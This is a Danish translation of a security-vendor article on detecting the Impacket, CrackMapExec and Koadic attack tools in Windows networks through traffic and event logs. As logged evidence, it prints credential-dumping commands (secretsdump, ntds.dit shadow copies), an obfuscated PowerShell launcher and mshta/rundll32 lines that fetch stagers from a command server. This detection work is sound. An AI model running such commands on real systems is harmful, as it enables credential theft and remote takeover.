Hvordan opdager man angreb mod Windows-infrastruktur: vi undersøger hackerens værktøjer

Hvordan opdager man angreb mod Windows-infrastruktur: vi undersøger hackerens værktøjer

Antallet af angreb i erhvervslivet stiger år for år: for eksempel i 2017 blev der registreret 13% flere unikke hændelser end i 2016, og i slutningen af 2018 — 27% flere hændelser, end i den foregående periode. Dette gælder også for dem, hvor det primære arbejdsredskab er Windows-operativsystemet. I 2017-2018 udførte grupper som APT Dragonfly, APT28, APT MuddyWater angreb på regerings- og militærorganisationer i Europa, Nordamerika og Saudi-Arabien. De brugte tre værktøjer — Impacket, CrackMapExec og Koadic. Dens kildekode er åben og tilgængelig på GitHub.

Det er værd at bemærke, at disse værktøjer ikke bruges til primær penetrering, men til at udvikle angrebet inden for infrastrukturen. Kriminelle bruger dem på forskellige stadier af angrebet, der følger efter, at perimetret er overvundet. Det skal siges, at dette er vanskeligt at opdage, og ofte kun med teknologier til opdagelse af kompromitteringsspor i netværkstrafikken eller værktøjer, der gør det muligt for at opdage aktive handlinger fra kriminelle efter deres indtrængen i infrastrukturen. Værktøjerne tilbyder mange funktioner — fra filoverførsel til interaktion med registreringsdatabasen og udførelse af kommandoer på en fjernmaskine. Vi har gennemført en undersøgelse af disse værktøjer for at bestemme deres netværksaktivitet.

Hvad vi skulle gøre:

  • Forstå, hvordan hackerens værktøjsæt fungerer. At finde ud af, hvad angrebsholderne har brug for til at udnytte og hvilke teknologier de kan bruge.
  • Find det, der ikke opdages af informationssikkerhedsforanstaltningerne i de indledende angrebsfaser. Rekognosceringsstadiet kan blive overset, enten fordi angrebsholderen er en intern trussel, eller fordi angriberen udnytter en svaghed i infrastrukturen, som ikke tidligere var kendt. Der opstår mulighed for at genskabe hele kæden af handlinger, og derfra opstår ønsket om at opdage videre bevægelser.
  • Fjern falske positiver fra indtrængningsopdagelsesmidlerDet er vigtigt at huske, at på baggrund af kun efterretninger er det muligt at lave hyppige fejl, når man opdager forskellige handlinger. Normalt findes der tilstrækkeligt mange metoder i infrastrukturen, der umiddelbart ligner legitime, til at få adgang til information.

Hvad giver disse værktøjer angriberne? Hvis det er Impacket, får angriberne et stort bibliotek af moduler, der kan anvendes på forskellige stadier af angrebet efter at have overvundet perimetret. Mange værktøjer bruger Impacket-moduler internt — for eksempel Metasploit. Den har dcomexec og wmiexec til fjernudførelse af kommandoer, secretsdump til at hente konti fra hukommelsen, som er tilføjet fra Impacket. I sidste ende vil korrekt opdagelse af aktiviteter fra et sådant bibliotek også sikre opdagelse af afledte handlinger.

Om CrackMapExec (eller blot CME) har skaberne ikke tilfældigt skrevet "Powered by Impacket". Desuden har CME færdig funktionalitet til populære scenarier: det inkluderer Mimikatz til at hente adgangskoder eller deres hash-værdier, samt implementering af Meterpreter eller Empire-agent til fjernudførelse, og Bloodhound ombord.

Det tredje værktøj, vi har valgt, er Koadic. Det er forholdsvis nyt, blev præsenteret på den internationale hacker konference DEFCON 25 i 2017 og skiller sig ud ved sin utraditionelle tilgang: at arbejde via HTTP, JavaScript og Microsoft Visual Basic Script (VBS). Denne tilgang kaldes living off the land: værktøjet bruger et sæt af afhængigheder og biblioteker, der er indbygget i Windows. Skaberne kalder det COM Command & Control, eller C3.

IMPACKET

Funktionaliteten af Impacket er meget bred, fra efterretning inden for AD og indsamling af data fra interne MS SQL-servere, til teknikker til at få adgang til legitimationsoplysninger: det inkluderer SMB relay-angreb og hentning af ntds.dit-filen fra domænecontrolleren, som indeholder hash-værdier for brugernes adgangskoder. Impacket kan også udføre kommandoer eksternt ved at bruge fire forskellige metoder: via WMI, en service til styring af Windows-planlæggeren, DCOM og SMB, og til dette har den brug for legitimationsoplysninger.

Secretsdump

Lad os se på secretsdump. Dette er en modul, der kan målrette både brugermaskiner og domænekontrollere. Med det kan man få kopier af LSA, SAM, SECURITY, NTDS.dit hukommelsesområder, så det kan ses på forskellige stadier af angrebet. Det første skridt i modulens arbejde er autentificering via SMB, for hvilket man enten har brug for brugerens adgangskode eller dens hash for automatisk at gennemføre et Pass the Hash-angreb. Derefter følger en anmodning om at åbne adgang til Service Control Manager (SCM) og få adgang til registreringsdatabasen via winreg-protokollen, hvorigennem angriberen kan finde data fra de interesserede nøgler og få resultater gennem SMB.

I fig. 1 ser vi, hvordan adgangen til registreringsdatabasen opnås ved hjælp af winreg-protokollen ved at bruge DCERPC-kommandoen med opcode 15 — OpenKey.

Hvordan opdager man angreb mod Windows-infrastruktur: vi undersøger hackerens værktøjer
Fig. 1. Åbning af registreringsdatabasenøgle via winreg-protokollen

Når adgangen til nøglen er opnået, gemmes værdierne med kommandoen SaveKey med opcode 20. Impacket gør dette på en meget specifik måde. Den gemmer værdierne i en fil, hvis navn er en streng af 8 tilfældige tegn plus .tmp. Desuden foregår den videre udveksling af denne fil via SMB fra System32-mappen (fig. 2).

Hvordan opdager man angreb mod Windows-infrastruktur: vi undersøger hackerens værktøjer
Fig. 2. Diagram over opnåelse af registreringsdatabasenøgle fra en fjernmaskine

Således kan denne aktivitet i netværket opdages gennem anmodninger til bestemte nøgler i registreringsdatabasen via winreg-protokollen, specifikke navne, kommandoer og deres rækkefølge.

Denne modul efterlader også spor i Windows-hændelsesloggen, som gør den let at opdage. For eksempel, som et resultat af udførelsen af kommandoen

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

vil vi i loggen for Windows Server 2016 se følgende nøglesekvens af hændelser:

1. 4624 — fjernlogon.
2. 5145 — kontrol af adgangsrettigheder til den fjernbetjente winreg-tjeneste.
3. 5145 — kontrol af adgangsrettigheder til filen i System32-mappen. Filen har et tilfældigt navn, som nævnt ovenfor.
4. 4688 — oprettelse af processen cmd.exe, som starter vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — oprettelse af processen med kommandoen:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 — oprettelse af proces med kommando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 — oprettelse af proces med kommando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Som med mange værktøjer til post-udnyttelse har Impacket moduler til fjernudførelse af kommandoer. Vi vil fokusere på smbexec, som giver en interaktiv kommandolinje på den fjerne maskine. For dette modul kræves der også autentifikation via SMB, enten med en adgangskode eller dens hash. På fig. 3 ser vi et eksempel på, hvordan et sådant værktøj fungerer, i dette tilfælde er det konsollen fra den lokale administrator.

Hvordan opdager man angreb mod Windows-infrastruktur: vi undersøger hackerens værktøjer
Fig. 3. Interaktiv konsol smbexec

Det første skridt i arbejdet med smbexec efter autentifikation er at åbne SCM med kommandoen OpenSCManagerW (15). Anmodningen er bemærkelsesværdig: i den har feltet MachineName værdien DUMMY.

Hvordan opdager man angreb mod Windows-infrastruktur: vi undersøger hackerens værktøjer
Fig. 4. Anmodning om åbning af Service Control Manager

Derefter oprettes der en tjeneste ved hjælp af kommandoen CreateServiceW (12). I tilfælde af smbexec kan vi se, at logikken bag kommandoen er ens hver gang. På fig. 5 er de faste parametre for kommandoen markeret med grøn, og det, som angriberen kan ændre, er markeret med gul. Det er tydeligt, at navnet på den eksekverbare fil, dens directory og output-filen kan ændres, men samtidig er det vanskeligere at ændre det resterende uden at bryde logikken i Impacket-modulet.

Hvordan opdager man angreb mod Windows-infrastruktur: vi undersøger hackerens værktøjer
Fig. 5. Anmodning om oprettelse af tjeneste ved hjælp af Service Control Manager

Smbexec efterlader også tydelige spor i Windows-hændelsesloggen. I loggen for Windows Server 2016 for den interaktive kommandolinje med kommandoen ipconfig vil vi se følgende nøglesekvens af hændelser:

1. 4697 — installation af tjeneste på offerets maskine:

%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 — oprettelse af proces cmd.exe med argumenter fra punkt 1.
3. 5145 — kontrol af adgangsrettigheder til filen __output i katalogen C$.
4. 4697 — installation af tjeneste på offerets maskine.

%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — oprettelse af processen cmd.exe med argumenter fra punkt 4.
6. 5145 — kontrol af adgangsrettigheder til filen __output i mappen C$.

Impacket danner basis for udviklingen af værktøjer til angreb. Det understøtter næsten alle protokoller i Windows-infrastrukturen og har sine karakteristiske træk. Herunder specifikke winreg-forespørgsler og brug af SCM API med karakteristisk kommandoopbygning, filnavnsformater og SMB share SYSTEM32.

CRACKMAPEXEC

CME-værktøjet er primært designet til at automatisere de rutinemæssige opgaver, som angriberen skal udføre for at bevæge sig inden for netværket. Det gør det muligt at arbejde i forbindelse med de berømte Empire agent og Meterpreter. For at udføre kommandoer diskret kan CME obfuskere dem. Ved hjælp af Bloodhound (et separat værktøj til efterretning) kan angriberen automatisere søgningen efter en aktiv session for domæneadministratoren.

Bloodhound

Bloodhound som et selvstændigt værktøj muliggør avanceret efterretning inden for netværket. Det indsamler oplysninger om brugere, maskiner, grupper, sessioner og leveres som et PowerShell-script eller en binær fil. Til indsamling af information anvendes LDAP eller protokoller baseret på SMB. Integrationsmodulet CME gør det muligt at uploade Bloodhound til offerets maskine, køre det, og indsamle data efter udførelsen, hvilket automatiserer handlinger i systemet og gør dem mindre synlige. Bloodhounds grafiske interface præsenterer de indsamlede data som grafer, hvilket gør det muligt at finde den korteste vej fra angriberens maskine til domæneadministrator.

Hvordan opdager man angreb mod Windows-infrastruktur: vi undersøger hackerens værktøjer
Fig. 6. Bloodhound Interface

For at starte på offerets maskine opretter modulet en opgave ved hjælp af ATSVC og SMB. ATSVC er et interface til at arbejde med Windows-opgaveplanlæggeren. CME bruger dens funktion NetrJobAdd (1) til at oprette opgaver over netværket. Eksemplet på, hvad CME-modulet sender, er vist på fig. 7: det er et kald af kommandoen cmd.exe og obfuskere kode i form af argumenter i XML-format.

Hvordan opdager man angreb mod Windows-infrastruktur: vi undersøger hackerens værktøjer
Fig. 7. Oprettelse af opgave via CME

Når opgaven er sendt til udførelse, starter offerets maskine Bloodhound selv, og dette kan ses i trafikken. Modulet er karakteriseret ved LDAP-forespørgsler for at få standardgrupper, listen over alle maskiner og brugere i domænet, og indhente oplysninger om aktive brugersessioner via SRVSVC NetSessEnum forespørgslen.

Hvordan opdager man angreb mod Windows-infrastruktur: vi undersøger hackerens værktøjer
Figur 8. Hentning af listen over aktive sessioner via SMB

Desuden medfører lanceringen af Bloodhound på offerets maskine med aktiveret audit et hændelses-ID 4688 (procesoprettelse) og procesnavn «C:WindowsSystem32cmd.exe». Bemærkelsesværdige i det er kommandolinjeargumenterne:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101, 101 , 46, 83 , 101 , … , 40, 41 )-jOIN'' ) "

Enum_avproducts

Modulet enum_avproducts er yderst interessant med hensyn til funktionalitet og implementering. WMI gør det muligt at få data om forskellige Windows-objekter via WQL-sproget, hvilket dette CME-modul i bund og grund benytter. Det genererer forespørgsler til klasserne AntiSpywareProduct og AntiМirusProduct om sikkerhedssoftware installeret på offerets maskine. For at hente de nødvendige data opretter modulet forbindelse til navnerummet rootSecurityCenter2, danner en WQL-forespørgsel og modtager et svar. På figur 9 vises indholdet af sådanne forespørgsler og svar. I vores eksempel fandtes Windows Defender.

Hvordan opdager man angreb mod Windows-infrastruktur: vi undersøger hackerens værktøjer
Figur 9. Nettaktivitet for modulet enum_avproducts

Audit WMI (Trace WMI-Activity) viser ofte nyttige oplysninger om WQL-forespørgsler, men kan være deaktiveret. Men hvis det er aktiveret, vil der i tilfælde af lancering af enum_avproducts-scriptet blive gemt en hændelse med ID 11. Denne vil indeholde brugernavnet, der sendte forespørgslen, og navnet i navnerummet rootSecurityCenter2.

Hvert af CME-modulerne havde sine egne artefakter, hvad enten det var specifikke WQL-forespørgsler eller oprettelse af en bestemt opgave i task scheduler med obfuskeret indhold og karakteristiske Bloodhound-aktiviteter i LDAP og SMB.

KOADIC

En særlig egenskab ved Koadic er brugen af de indbyggede JavaScript- og VBScript-interpretatorer i Windows. På denne måde følger den trenden 'living off the land' — det vil sige, at den ikke har eksterne afhængigheder og bruger de standardværktøjer i Windows. Det er et fuldgyldigt Command & Control (CnC) værktøj, da der efter inficeringen installeres et 'implantat' på maskinen, som gør det muligt at kontrollere den. En sådan maskine kaldes en 'zombie' i Koadics terminologi. Når det mangler privilegier for fuld funktionalitet på offerets side, har Koadic mulighed for at hæve disse ved hjælp af teknikker til omgåelse af brugeradgangskontrol (UAC bypass).

Hvordan opdager man angreb mod Windows-infrastruktur: vi undersøger hackerens værktøjer
Figur 10. Koadic kommandolinje

Offeret skal selv initiere kommunikationen med Command & Control-serveren. For dette skal den henvende sig til en forberedt URI og hente hovedindholdet af Koadic ved hjælp af en af stages. Figur 11 viser et eksempel for en stage mshta.

Hvordan opdager man angreb mod Windows-infrastruktur: vi undersøger hackerens værktøjer
Figur 11. Initialization af session med CnC-serveren

Fra variablen WS i svaret kan det ses, at udførelsen sker gennem WScript.Shell, og variablerne STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE indeholder nøglevigtige oplysninger om parametrene for den aktuelle session. Dette er det første par anmodninger-svar i HTTP-forbindelsen med CnC-serveren. Efterfølgende anmodninger er direkte relateret til funktionaliteten af de kaldte moduler (implanter). Alle Koadic-moduler arbejder kun med en aktiv session med CnC.

Mimikatz

Som CME arbejder med Bloodhound, arbejder Koadic med Mimikatz som et separat program og har flere måder at starte det på. Nedenfor er et par anmodninger-svar for at downloade implantatet Mimikatz.

Hvordan opdager man angreb mod Windows-infrastruktur: vi undersøger hackerens værktøjer
Figur 12. Overførsel af Mimikatz til Koadic

Man kan se, hvordan formatet på URI'en i anmodningen er ændret. Der er kommet en værdi til variablen csrf, som er ansvarlig for det valgte modul. Ignorer dens navn; vi ved alle, at CSRF normalt betyder noget andet. I svaret kom det samme hovedindhold af Koadic, men med tilføjelse af kode relateret til Mimikatz. Det er ret stort, så vi ser nærmere på nøglepunkterne. Foran os er der en base64-kodet Mimikatz-bibliotek, en serialiseret .NET-klasse, som vil injicere det, og argumenter til at starte Mimikatz. Resultatet af udførelsen sendes over nettet i klar tekst.

Hvordan opdager man angreb mod Windows-infrastruktur: vi undersøger hackerens værktøjer
Figur 13. Resultatet af Mimikatz' udførelse på den fjernmaskine

Exec_cmd

I Koadic er der også moduler, der kan udføre kommandoer eksternt. Her vil vi se den samme metode til generering af URI og de kendte variabler sid og csrf. I tilfælde af modulet exec_cmd tilføjes der kode til at udføre shell-kommandoer. Nedenfor vises sådan kode, der findes i HTTP-svaret fra CnC-serveren.

Hvordan opdager man angreb mod Windows-infrastruktur: vi undersøger hackerens værktøjer
Figur 14. Kode for implantatet exec_cmd

Variablen GAWTUUGCFI med den kendte WS-attribut er nødvendig for at udføre koden. Den gør det muligt for implantatet at kalde shell og behandle to kodespor — shell.exec med returnering af output-strømmen og shell.run uden returnering.

Koadic er ikke et typisk værktøj, men har sine artefakter, som kan identificeres i legitim trafik:

  • speciel dannelse af HTTP-anmodninger,
  • brugen af winHttpRequests API,
  • oprettelse af WScript.Shell-objektet via ActiveXObject,
  • stor eksekveringskrop.

Den oprindelige forbindelse initierer stage, hvilket giver mulighed for at opdage dets aktivitet gennem Windows-begivenheder. For mshta er denne begivenhed 4688, som angiver oprettelsen af en proces med startattributten:

C:\Windows\system32\mshta.exe http://192.168.211.1:9999/dXpT6

Under Koadic-kørslen kan man se andre 4688-begivenheder med attributter, der karakteriserer det glimrende:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:\Windows\system32\cmd.exe" /q /c chcp 437 & net session 1> C:\Users\user02\AppData\Local\Temp\6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:\Windows\system32\cmd.exe" /q /c chcp 437 & ipconfig 1> C:\Users\user02\AppData\Local\Temp\721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Konklusioner

Trenden 'living off the land' bliver mere og mere populær blandt angribere. De bruger de indbyggede værktøjer og mekanismer fra Windows til deres formål. Vi ser, hvordan populære værktøjer som Koadic, CrackMapExec og Impacket, der følger dette princip, oftere findes i APT-rapporter. Antallet af forks på GitHub for disse værktøjer vokser også, og der dukker nye op (der er nu omkring tusinde). Trenden bliver populær på grund af sin enkelhed: angriberne behøver ikke eksterne værktøjer, da de allerede findes på ofrenes maskiner og hjælper med at omgå sikkerhedssystemerne. Vi fokuserer på at studere netværksinteraktion: hvert af de ovenfor beskrevne værktøjer efterlader sine spor i netværkstrafikken; en detaljeret undersøgelse af dem har gjort det muligt for os at lære vores produkt PT Network Attack Discovery at opdage dem, hvilket i sidste ende hjælper med at undersøge hele kæden af cyberhændelser, der involverer dem.

Forfattere:

  • Anton Tyurin, leder af ekspertservicer, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, ekspert, PT Expert Security Center, Positive Technologies

Kilde: habr.com

Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere 🔥 Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere | ProHoster